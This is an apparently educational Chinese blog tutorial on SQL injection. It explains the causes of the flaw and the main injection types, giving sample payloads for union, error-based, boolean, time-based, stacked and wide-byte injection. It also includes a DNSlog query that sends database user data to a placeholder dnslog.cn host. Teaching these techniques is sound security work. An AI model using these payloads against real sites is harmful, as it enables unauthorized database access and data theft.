0x00 前言
免责声明
文章仅用作网络安全人员对自己网站、服务器等进行自查检测,不可用于其他用途,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作
本次测试只作为学习用处,请勿未授权进行渗透测试,切勿用于其它用途!
基本信息
中文名 : SQL注入
外文名 : SQL Injection
造成原因 : 参数过滤不严格
攻击手段 : 污染请求参数使SQL在语句合法的情况下执行其他语句
危害 : 数据泄露、数据污染、获取服务器控制权
0x01 描述
SQL注入是因为程序运行过程中所需要的参数被用户可控,攻击者在构造了恶意Payload后传入程序,改变程序原本的SQL语句结构,使数据库服务器执行了超出预期的查询或返回结果。
0x02 危害
数据泄露
数据污染
被获取服务器控制权
...
根据不同的数据库拥有的功能和权限,可实现数据库增、删、改、查,写入文件、命令执行等,造成页面篡改或更多的危害性。
0x03 原理
一个有信息存储需求的网站通常会用到数据库来存储这些信息。而SQL注入攻击是发生在数据库的SQL语句中的,存在的风险则在于执行SQL语句的后端代码中,所以能造成的危害则根据不同的数据库存在的方法而定。
在数据库设计中,为了给用户展示不同的数据,会根据一个唯一标识来进行内容区分(比如:id),而怎么展示这个内容则需要根据前端用户的选择来展示,也就是用户需要将id的值传递给后端,后端才知道要返回什么内容,这个时候也就发生了数据用户可控和程序执行该SQL语句的情况。
假如这个程序执行的SQL语句是 select title,context from content where id = ? 【?是用户传入的id值】,当用户传入id为1时,数据库返回id=1的内容,当攻击者传入 0 and false union select database(),user() 时,程序执行的数据就成了 select title,context from content where id = 0 and false union select database(),user() ,在这个语句中第一个where的值为绝对false的情况下不会返回查询结果,那么也就会返回执行了 database()和user()函数的结果【当前数据库名和数据库的用户名】。这样也就造成了一次SQL注入
那么程序该怎么接收到用户传入的值呢?当我们对目标服务器进行一次http请求时,我们请求携带的所有参数都有可能成为传入值,在上面的例子中传入值的方式可能为 http://www.xx.com/?id=1 ,这里的id的值也就是用户传入的值。在有些网站中可能会收集用户的请求头信息,包括但不限于 User-Agent、X-Forwarded-For、Host 等,还有一些身份认证信息的比如 Cookie 值中也可能存在SQL注入,这些都可能成为程序接收用户传入参数的位置。
0x04 SQL注入的分类
根据数据类型
数字型
字符型
数据类型是根据SQL语句中对用户参数是否添加引号来区分的,区别如下:
select name from user where id = 1
select name from user where id = '1'
而我们在注入时的区别也在于是否需要处理引号,也就是 and false and union select database() 和 ' and false and union select database() -- - 的区别。原理就是如果字符型注入时不闭合引号,那我们构造的payload都会被程序识别为字符串当作查询条件,只有闭合引号之后payload才会被程序当作SQL语句执行,所以判断参数的数据类型是SQL注入的第一步。
根据注入方式
Union联合注入
报错注入
布尔型注入
延时型注入
堆叠注入
Union联合注入
原理
联合注入是基于MySQL的联合查询实现的,而联合查询的必要条件就是union查询字段数要和第一个select查询的字段数保持一致,所以这里就出现了联合注入中需要使用order by来判断列数的原因,一个简单的联合查询语句如下:
select name from users where id='1' union select ip from user_info where id = '1'
在这段语句中,假设两个表中都存在 id 为1的数据,那么查询结果将返回两行不同表的数据,如:
———————————
|张三 |
———————————
|127.0.0.1 |
———————————
而在应用程序中一般只能展示一行数据的结果,所以我们需要确保第一个select查询无返回结果,使union查询的结果在第一行,所以这里就出现了联合注入中需要将第一个 where 的值调整为无数据的情况【这里我使用 and false,这种情况下第一个where的值会出现绝对false的结果】,才能获取我们自定义查询的结果。
而一般情况下,程序并不会展示我们查询到的所有信息,比如 select name,id from users 时,程序可能只会展示name的值,所以我们能获取到的数据也仅限于程序会展示的列,所以这里就出现了联合注入中需要确定回显点的原因。
注入的必要条件
确定字段数
确定回显点
注入过程
具体的注入过程请 CSDN
报错注入
报错注入是基于应用程序有返回数据库报错信息且展示报错结果的情况下实现的,原理是基于数据库现有的一些函数的运行逻辑中,使我们要查询的结果先被查询出来,之后使这个结果在函数内实现报错,从而实现通过报错获取到结果。报错注入在SQL语句中不需要太多的条件,只需要在where id=1 后 添加 and updatexml(1,concat(0x7e,user(),0x7e),1) 即可,完整SQL语句如下:
select name from users where id = 1 and updatexml(1,concat(0x7e,user(),0x7e),1)
注入的必要条件
有回显报错信息
具体的报错注入使用到的函数和函数的使用方法可以参考 CSND
布尔型注入
布尔型注入是在即不存在联合注入中的回显点,又不存在报错注入中报错信息的情况下使用的,这种注入程序只存在两种情况:
程序返回内容
程序不返回内容
所以我们需要先找到一个能返回内容的id值,确保页面正常显示,然后构造一个判断逻辑语句,类似 and 'a' = 'a' 这种的,应用到实际注入中也就是类似于 and substring(user(),1,1) = 'r',这种情况下数据库执行的SQL语句如下:
select name from users where id = 1 and substring(user(),1,1) = 'r'
substring(user(),1,1) substring是用来截取一个字符串的,这里作用是截取 user()函数值的第一个字符
因为两个条件使用了and进行连接,所以id=1为true,并且 substring(user(),1,1) = 'r' 的时候则页面正常返回,否则不返回内容。当页面不返回内容的时候,证明我们对user()的第一个字符猜测错误,我们对r的值进行调整,直到页面正常返回时表示我们成功获取到user()的第一个字符。但是由于这种比较的办法比较浪费时间,所以我们将user()的第一个字符转换成ascii编码进行判断,这种情况下我们只需要判断第一个值是否大于某数或者小于某数,基于这种判断方法可以提高获取数据的效率,SQL语句如下:
select name from users where id = 1 and ASCII(substring(user(),1,1)) < 128
ASCII(substring(user(),1,1)) ASCII是用将字符转换为ascii编码值的,了解ascii码表请百度搜索
我们可以第一次判断 ASCII值是否小于128,如果页面返回内容,则使用二分法判断 ASCII值是否小于 64,如果不返回内容,则使用二分法取 64-128之间的值,直到最终 ASCII(substring(user(),1,1)) = 114 时页面返回正常,我们就能确定user()的第一个字符的ASCII码为114,转换成字符为 r ,获取其他字符按照此方法依次类推。
注入的必要条件
查询条件成立/不成立时页面返回内容有区别
具体的布尔型注入细节和过程可以参考 CSDN
延时型注入
延时注入是在布尔型注入的前提条件下,当程序的查询条件成立/不成立时页面返回内容没有变化的情况下使用的,这种情况下我们对于注入的判断依据也就只能是请求的响应时长了。原理是通过条件的 成立/不成立 执行sleep()函数或者不执行sleep函数,当一个页面正常返回只需要1s的时候,我们执行sleep(5),页面返回时长就变成了5s或以上,我们的判断依据就是请求是否直接响应,在布尔型的数据判断基础上,我们修改SQL语句使用if()函数,SQL语句如下:
if(1=1,sleep(1),0) if的第一个参数是判断条件,第二个参数是条件为真时触发,第三个参数是条件为假时触发的,所以只需要将布尔型注入的条件判断语句放入到if中即可
select name from users where id = 1 and if(ASCII(substring(user(),1,1)) < 128,sleep(5),1)
我们判断当user()第一个字符的ASCII值小于128的时候,则等待5秒返回,或者当user()第一个字符的ASCII值不小于128的时候等待5秒返回,这样我们就可以知道我们的判断是否存在错误。
注入的必要条件
当程序存在注入的时候
具体的延时注入细节和过程可以参考 CSDN
堆叠注入
堆叠注入只发生在部分数据库中,原理是在第一个SQL语句后使用;结尾,然后书写新的SQL语句,使用数据库服务器同时执行两条SQL代码,SQL语句如下:
select name from users where id=1;insert into users(name) values('999');
注入的必要条件
查询条件成立/不成立时页面返回内容有区别
具体的布尔型注入细节和过程可以参考 CSDN
其他注入
宽字节注入
宽字节注入是基于字符型注入之上的,原理是当程序后端对用户输入的内容开启了转义过滤时,我们注入过程中输入的 ' 就会转义成 \',使无法闭合引号导致无法注入SQL代码,而当数据库编码为gbk或big5时,我们输入一些特定的字符,根据编码的特性可以将转义的 \ “吃掉”。原理就是因为一些特殊字符的占位不满足编码要求,则会与后方的字符合并,所以这里转义的 \ 也就不存在了。之后的注入方式和其他上面几种一样。
注入的必要条件
当数据库编码为GBK/Big5时
当后端程序对用户输入内容进行转义时
具体的宽字节注入细节和过程可以参考 CSDN
DNSlog注入
DNSlog注入技术是基于域名规则和子域解析记录的,原理是MySQL数据库种的load_file()方法可以使用windows种特有的UNC路径进行网络请求,这种情况下我们构造请求语句:
select load_file(concat('\\\\',substring(hex(user()),1,200),".xxx.dnslog.cn"))
域名规则
域名中不能包含一些特殊字符
域名没级不超过63
域名总长不超过253
由于存在的域名规则,我们需要将拼接成域名的字符串进行处理,使用hex函数将结果转换成16进制确保不存在特殊字符,使用substring函数确保查询结果不超出长度,然后执行SQL语句即可在在线平台中查看子域名的解析记录,通过将域名前缀的16进制进行转换即可得到查询的结果,这种注入方式的效率比布尔型和延时注入快一些,如果可行,或将是个不错的选择。
注入的必要条件
目标数据库为MySQL
目标系统为windows时
数据库有load_file()函数加载文件的权限
具体的DNSlog注入细节和过程可以参考 CSDN
0x05 About 作者
以上内容都是根据个人经验编写的,如有遗漏或错误请留言反馈,感谢🙇
评论